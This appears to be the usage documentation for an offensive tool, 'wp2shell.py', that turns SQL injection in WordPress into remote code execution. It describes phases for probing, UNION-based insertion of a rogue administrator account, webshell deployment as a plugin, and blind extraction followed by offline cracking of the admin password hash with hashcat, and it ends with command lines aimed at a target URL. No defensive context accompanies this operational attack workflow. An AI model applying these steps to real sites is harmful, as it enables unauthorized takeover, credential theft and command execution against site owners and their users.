Phase 1: Probe
  ─────────────
  Check batch endpoint reachable (HTTP 207)
  Verify route confusion via marker requests
  Confirm SQL injection via timing/oracle

Phase 2: UNION → RCE (fast path)
  ─────────────────────────────
  If UNION injection works:
    1. Detect table prefix (blind or brute-force common ones)
    2. CREATE ADMIN USER via stacked UNION INSERT queries
       - Bcrypt hash generated via PHP on attacker machine
       - Insert row into {prefix}_users + {prefix}_usermeta
       - New user gets administrator capabilities
    3. Login + Deploy webshell as WordPress plugin
    4. Execute commands via ?t=TOKEN&c=id

Phase 3: Blind → Hash (fallback path)
  ─────────────────────────────────
  If UNION is blocked but blind SQLi works:
    1. Extract MySQL version, user, database name
    2. Extract table prefix from information_schema
    3. Extract admin hash from {prefix}_users WHERE id=1
    4. Crack offline: hashcat -m 3200 hash.txt wordlist.txt
    5. Use --user / --pass --cmd id with cracked password

Phase 4: Credential login
  ──────────────────────
  If --user/--pass provided:
    1. Login via wp-login.php or REST API Basic Auth
    2. Upload webshell as plugin
    3. Execute commands

# Auto mode — check, UNION, create admin, deploy webshell
python3 wp2shell.py https://target.com

# With known credentials (e.g., after cracking hash)
python3 wp2shell.py https://target.com --user admin --pass P@ssw0rd --cmd id

# UNION only (skip blind fallback)
python3 wp2shell.py https://target.com --union-only

# Blind extraction only (skip UNION attempt)
python3 wp2shell.py https://target.com --blind-only

# Debug via proxy
python3 wp2shell.py https://target.com --proxy http://127.0.0.1:8080

# Custom SLEEP duration for time-based blind (default 0.01s)
python3 wp2shell.py https://target.com --sleep 0.5